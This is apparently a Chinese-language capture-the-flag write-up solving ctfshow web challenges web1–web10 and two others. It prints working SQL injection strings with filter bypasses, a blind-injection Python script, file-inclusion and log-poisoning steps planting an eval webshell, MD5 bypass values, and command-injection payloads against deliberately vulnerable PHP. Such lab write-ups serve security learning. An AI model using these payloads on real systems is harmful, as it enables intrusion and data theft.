ctfshow

ctfshow

web1

查看源码,base64解码得flag

web2

构造SQL注入语句,这是一个登录功能,那应该考虑是字符串注入,在username后面加上 ' or 1=1 #发送

成功登录。证明构造的语句没有问题,接下来就是一把梭,猜解字段数、获取数据库名、获取表名、获取字段、拿到flag!

'username=ctfshow' order by 3 #&password=123显示登录成功,

'username=ctfshow' order by 4 #不显示,证明有三个字段。

username=ctfshow' union select 1,2,3 #&password=123确定回显位置,看到2显示在了页面上,利用2这个位置继续搞。

username=ctfshow' union select 1,database(),3 #&password=123获取到数据库名

username=ctfshow' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='web2' #&password=123 获取数据库的表名,找到flag表啦

username=ctfshow' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='flag' #&password=123获取flag表中的字段名

username=ctfshow' union select 1,group_concat(flag),3 from flag #&password=123获取flag!

web3

php伪协议

1
2
ctf.show_web3
<?php include($_GET['url']);?>

页面中显示了部分源码,明显是引导我们利用文件包含漏洞进行操作,源码中的include()函数通过GET请求接收一个url参数,那接下来我们就给它传递一个url参数

使用Burp Suite抓包,利用php://input伪协议执行PHP代码,代码的内容为执行系统命令,查看当前目录下所有文件

?url=php://input        -- GET请求的url中拼接伪协议
<?php system('ls')?>    -- post请求内容构造需要执行的代码

得到crf_go_go_go index.php,该文件就是存放flag的文件

我们直接在url地址栏中拼接url参数,访问crf_go_go_go文件

1
?url=ctf_go_go_go

成功获取flag

web4

日志注入

($_GET[‘url’])可看出存在文件包含漏洞

F12打开网络栏,可以看到Server里面是nginx,尝试一下日志注入

image-20230817104534044

nginx服务器默认日志位置在

/var/log/nginx/access.log

在url后面输入查看一下

1
/?url=/var/log/nginx/access.log

发现可以

用Burp Suite抓包,在User-Agent后面写个🐎

1
<?php eval($_POST['a'])?>

放包,注意看日志下面这时多出来一条

此时木马已经插入进去了,日志中的代码会被执行但不会显示

连接蚁剑

注意URL地址写的是日志地址,因为我们的🐎是传进日志里了

image-20230817105306721

在上层可以看到flag.txt

image-20230817105325864

拿到flag

ctfshow{05eeaf03-2f53-4cc6-959c-f65fb4a7163a}

web5

考点:php代码审计

 <?php
        $flag="";
        $v1=$_GET['v1'];
        $v2=$_GET['v2'];
        if(isset($v1) && isset($v2)){
            if(!ctype_alpha($v1)){
                die("v1 error");
            }
            if(!is_numeric($v2)){
                die("v2 error");
            }
            if(md5($v1)==md5($v2)){
                echo $flag;
            }
        }else{
        
            echo "where is flag?";
        }
    ?>  echo "where is flag?";
    }
?>
  • ctype_alpha()函数用于检测字符串中是否仅包含字母,是则返回true,否则返回false
  • is_numeric()函数用于检测变量是否为数字或数字字符串,是则返回true,否则返回false

这里我们可以使用MD5的0e绕过方式,输入一下payload

1
?v1=QNKCDZO&v2=240610708

QNKCDZO 的md5值为 0e830400451993494058024219903391

240610708 的md5值为 0e462097431906509019562988736854

分别满足纯字母和数字字符串,并且md5值以0e开头,而0e开头的字符串参与比较(==)时,会转化为0,也就是 0==0,返回true使if判断成立,从而输出flag

常用的值:

开头为0E(MD5值) 字母数字混合类型:
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
纯大写字母:
QLTHNDT
0e405967825401955372549139051580
QNKCDZO
0e830400451993494058024219903391
EEIZDOI
0e782601363539291779881938479162
纯数字:
240610708
0e462097431906509019562988736854
4011627063
0e485805687034439905938362701775
4775635065
0e998212089946640967599450361168
4790555361
0e643442214660994430134492464512
5432453531
0e512318699085881630861890526097
5579679820
0e877622011730221803461740184915
5585393579
0e664357355382305805992765337023
6376552501
0e165886706997482187870215578015
7124129977
0e500007361044747804682122060876
7197546197
0e915188576072469101457315675502
7656486157
0e451569119711843337267091732412

任意使用2个即可

web6

web2的升级版,做了过滤

一打开页面是用户名密码登录,我们首先第一个想到的就是sql注入了,来用万能钥匙1’ or 1=1#试一下,报错了
然后,我在密码框里同样注入万能钥匙试了一下,发现,密码框中输入空格也会多一个黑点,于是我猜测可能是把空格过滤了,为了验证 我的猜想,来抓包看一下服务器收到的页面请求包最后传递的用户名和密码的参数值是什么样子的

抓包果然发现,空格被过滤了

一般空格被过滤有如下替换方法

/**/
()
回车(url编码中的%0a)
`(tap键上面的按钮)
tap
两个空格

我们就选用/**/来替换空格

1
1'/**/or/**/1=1#

好,登陆成功了

接下来,来老生常谈的爆库爆表爆字段吧
爆库

1
username=admin'/**/union/**/select/**/1,database(),3#&password=1

得到数据库名为web2
爆表

username=1'/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema=database()#&password=1

表有flag和user
爆字段

username=1'/**/union/**/select/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/where/**/table_name='flag'#&password=1

列名也为flag
爆字段值

username=1'/**/union/**/select/**/1,flag,3/**/from/**/flag#&password=1

拿到flag

web7

与we6相同
考点:sql注入 注入点的寻找
页面中有一个文章列表,随便点一个

从url地址栏中可以看到,页面通过文章的id值来查询文章内容,我们可以考虑SQL注入漏洞

测试发现存在空格过滤,用/**/绕过

首先判断注入点,输入以下payload,使SQL恒成立

1
?id=1/**/and/**/1

可以看到,页面正常显示

在输入以下payload,使SQL恒不成立

1
?id=1/**/and/**/0

可以看到,页面空显示

由此可以判断页面存在SQL注入,注入点为数值型注入,页面中有显示位,可以尝试联合注入进行脱库

1.判断显示位,此处id传一个-1,由于id通常不为负数,后端根据id查询不到内容,就只能展示联合查询的结果,从而帮助我们判断字段显示的位置

1
?id=-1/**/union/**/select/**/1,2,3

2.判断当前使用的数据库,盲猜flag就藏在当前使用的数据库中

1
?id=-1/**/union/**/select/**/1,database(),3

当前使用的数据库是web7

3.获取当前数据库中的所有表

1
?id=-1/**/union/**/select/**/1,(select/**/group_concat(table_name)from/**/information_schema.tables/**/where/**/table_schema="web7"),3

有一个flag表,那flag肯定就藏在这个表里面

4.获取flag表中的所有字段

1
?id=-1/**/union/**/select/**/1,(select/**/group_concat(column_name)from/**/information_schema.columns/**/where/**/table_schema="web7"/**/and/**/table_name="flag"),3

flag表中只有一个flag字段

5.查询flag表的flag字段,获取flag

1
?id=-1/**/union/**/select/**/1,(select/**/flag/**/from/**/flag),3

成功获取flag

web8

提示是sql注入,第一步先试下 ’ or 1=1# 提示sql注入错误

第二步试下/**/替代空格,还是错误

第三步,去掉’单引号,成功,说明过滤了单引号
测试:?id=1/**/or/**/1=1#

回显全部

1
-1/**/or/**/1=2#

无回显

考虑盲注

查看有多少字段1/**/or/**/1=1/**/union/**/select/**/1,2,3#,但是这里又提示sql错误,这里可能过滤了select和union关键字

1
2
3
4
5
过滤空格:可以使用/**/和%a0绕过
过滤联合查询语句:可以使用盲注替代联合注入
过滤逗号,:可以使用特殊语法绕过, 比如:substr(database(),1,1) 可以用 substr(database() from 1 for 1)来代替
过滤and:可以使用or
过滤单引号:表名可以用十六进制来表示

脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import requests
s=requests.session()
url='http://1a52462e-b3aa-4f50-8445-0792a199259e.chall.ctf.show/index.php'
table=""

"""
' and ascii(substr((select database()),1,1))=xx #
这样的话写个脚本很容易跑出来了,过滤逗号之后可以变成这样

' and ascii(substr((select database())from 1 for 1))=xx #
这应该是substring函数的两种用法
"""

for i in range(1,45):
print(i)
for j in range(31,128):
#爆表名 flag
#payload = "ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())from/**/%s/**/for/**/1))=%s#"%(str(i),str(j))
#爆字段名 flag
#payload = "ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x666C6167)from/**/%s/**/for/**/1))=%s#"%(str(i),str(j))
#读取flag
payload = "ascii(substr((select/**/flag/**/from/**/flag)from/**/%s/**/for/**/1))=%s#"%(str(i), str(j))

ra = s.get(url=url + '?id=0/**/or/**/' + payload).text

if 'I asked nothing' in ra:
table += chr(j)
print(table)
break

得到flag

web9

进去以后就是一个登录界面, 盲猜是个SQL注入漏洞,行不通
就觉得该换个思路

那就扫描下目录吧,dirsearch扫出了一个robots.txt

我们访问根目录下的 robots.txt 文件

robots.txt是一个文本文件,同时也是一个协议,规定了爬虫访问的规则( 哪些文件可以爬取,哪些文件不可以爬取)

从robots.txt文件的内容中可以发现, 作者给了提示, index.phps文件应该就是此关卡的源码文件

然后就是访问这个地址给你一个下载链接我们直接打开得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
$flag="";
$password=$_POST['password'];
if(strlen($password)>10){
die("password error");
}
$sql="select * from user where username ='admin' and password ='".md5($password,true)."'";
$result=mysqli_query($con,$sql);
if(mysqli_num_rows($result)>0){
while($row=mysqli_fetch_assoc($result)){
echo "登陆成功<br>";
echo $flag;
}
}
?>

从源码中可以发现, SQL中使用了md5()函数加密, 我们可以利用MD5加密漏洞来绕过

考验你的代码审计,如果php有没怎么学的建议恶补一下,学一下语法和php的数据库连接

$sql="select * from user where username ='admin' and password ='".md5($password,true)."'";
        $result=mysqli_query($con,$sql);
            if(mysqli_num_rows($result)>0){
                while($row=mysqli_fetch_assoc($result)){
                         echo "登陆成功<br>";
                         echo $flag;

我们主要看这一块,那些mysqli什么的函数如果没用过直接上菜鸟搜函数的作用,下面的函数大概就是如果能成功访问到数据库获得那些行值就能执行while 那也就是说 r e s u l t 这 个 值 必 须 是 正 确 的 , 那 我 们 就 来 看 看 result这个值必须是正确的, 那我们就来看看 result这个值必须是正确的,那我们就来看看result

$result=mysqli_query($con,$sql);

和 s q l 是 有 关 系 的 也 就 是 sql 是有关系的 也就是 sql是有关系的也就是sql的查询语句要是正确的,那我们接下来看

1
$sql="select * from user where username ='admin' and password ='".md5($password,true)."'";

username这一部分原网页里面就已经帮我填写了 那我们重点来看password这一块
首先了解一下md5这个函数后面有个参数默认是false返回32位的16进制数,而这里是true
菜鸟教程上给出的解释是TRUE - 原始 16 字符二进制格式 大致就是把你这一堆MD5值又弄成字符串了
大家想想前面值为真了,那这边如果是 or xxxxx的话不就是恒真了嘛。那就想想有什么字符输进去最后会转成 带 or 的,然后这里我就开始进行强大的搜索引擎了 最后找到篇博客 里面就是这道题,然后大佬给出了两个值一个是
129581926211651571912466741651878684928
另一个是
ffifdyop
那这样下次这样的题目如果判断全是数字就用上面,如果判断是字符就用下面

这边因为

1
2
3
4
5
$password=$_POST['password'];
if(strlen($password)>10){
die("password error");
}
1234

有限制长度

所以在密码框中输入 ffifdyop, 即可登录成功, 获取flag

web10

和web9一样。先查看一下源码,
右键查看源代码
进入style.css
发现有index.phps
在url处输入后,查看源码得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
$flag="";
function replaceSpecialChar($strParam){
$regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
return preg_replace($regex,"",$strParam);
}
if (!$con)
{
die('Could not connect: ' . mysqli_error());
}
if(strlen($username)!=strlen(replaceSpecialChar($username))){
die("sql inject error");
}
if(strlen($password)!=strlen(replaceSpecialChar($password))){
die("sql inject error");
}
$sql="select * from user where username = '$username'";
$result=mysqli_query($con,$sql);
if(mysqli_num_rows($result)>0){
while($row=mysqli_fetch_assoc($result)){
if($password==$row['password']){
echo "登陆成功<br>";
echo $flag;
}

}
}
?>

发现被过滤了这些东西select|from|where|join|sleep|and|\s|union|,
又被这个避免了双写绕过if(strlen($password)!=strlen(replaceSpecialChar($password))){ die(“sql inject error”);}

定义了过滤函数,对username和password进行过滤,然后判断输入的password是否对应根据我们输入的username从数据库中查到的密码

这时候,我们要用到group by和roll with
group by(将结果集中的数据行根据选择列的值进行逻辑分组):
在使用group by以后会按照password中的值进行排列:
with rollup (group by 后可以跟with rollup,表示在进行分组统计的基础上再次进行汇总统计)
此时我们发现,多出一行NULL,并且count(*)为统计和。
加入with rollup后 password有一行为NULL。
payload在用户名框中进行输入,密码框不输入,使其为空,满足 p a s s w o r d = = password== password==row[‘password’]

1
username=admin'/**/or/**/1=1/**/group/**/by/**/password/**/with/**/rollup#&password=

红包题第二弹

查看源代码,按注释提示,构造参数试试?cmd=aa

<?php
#error_reporting(0);
?>
<html lang="zh-CN">
 
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
    <meta name="viewport" content="width=device-width  minimum-scale=1.0  maximum-scale=1.0  initial-scale=1.0" />
    <title>ctf.show_红包题</title>
</head>
<body>
    <center>
    <h2>ctf.show_红包题</h2>
    <h4>where is the flag?</h4>
    </center>
    <!-- hint:?cmd= -->
    <?php
        if(isset($_GET['cmd'])){
            $cmd=$_GET['cmd'];
            highlight_file(__FILE__);
            if(preg_match("/[A-Za-oq-z0-9$]+/",$cmd)){
            
                die("cerror");
            }
            if(preg_match("/\~|\!|\@|\#|\%|\^|\&|\*|\(|\)|\(|\)|\-|\_|\{|\}|\[|\]|\'|\"|\:|\,/",$cmd)){
                die("serror");
            }
            eval($cmd);
        
        }
    
     ?>
 
</body>
</html>

源码中过滤了很多东西,可以使用的字符:p ` ? / + < > =

通过可用的字符构造cmd=?><?=.+/??p/p?p??????,由eval($cmd)来运行临时文件

备注:问号?代表一个任意字符,通配符/??p/p?p??????匹配/tmp/phpxxxxxx

构造payload

1
?cmd=?><?=`.+/??p/p?p??????`;

然后bp抓包,修改几个地方,发现根目录下有flag.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
POST /?cmd=?><?=`.+/??p/p?p??????`; HTTP/1.1
Host: 4947507e-e5ac-452c-8f01-80f5309742d9.challenge.ctf.show
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Content-Type: multipart/form-data; boundary=---------------------------10242300956292313528205888
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Length: 237

-----------------------------10242300956292313528205888
Content-Disposition: form-data; name="fileUpload"; filename="1.txt"
Content-Type: text/plain

#! /bin/sh

ls /
-----------------------------10242300956292313528205888--

修改命令为cat /flag.txt 得到flag

萌新赛签到

1
2
3
4
5
6
7
<?php 
if(isset($_GET['url'])){
system("curl https://".$_GET['url'].".ctf.show");
}else{
show_source(__FILE__);
}
?>

构造url参数使system("curl https://".$_GET['url'].".ctf.show");变成三个命令即可

1
?url=26966684-050a-4ec9-9e86-9e9d0d89989a.challenge.chall.ctf.show|cat flag||26966684-050a-4ec9-9e86-9e9d0d89989a.challenge.chall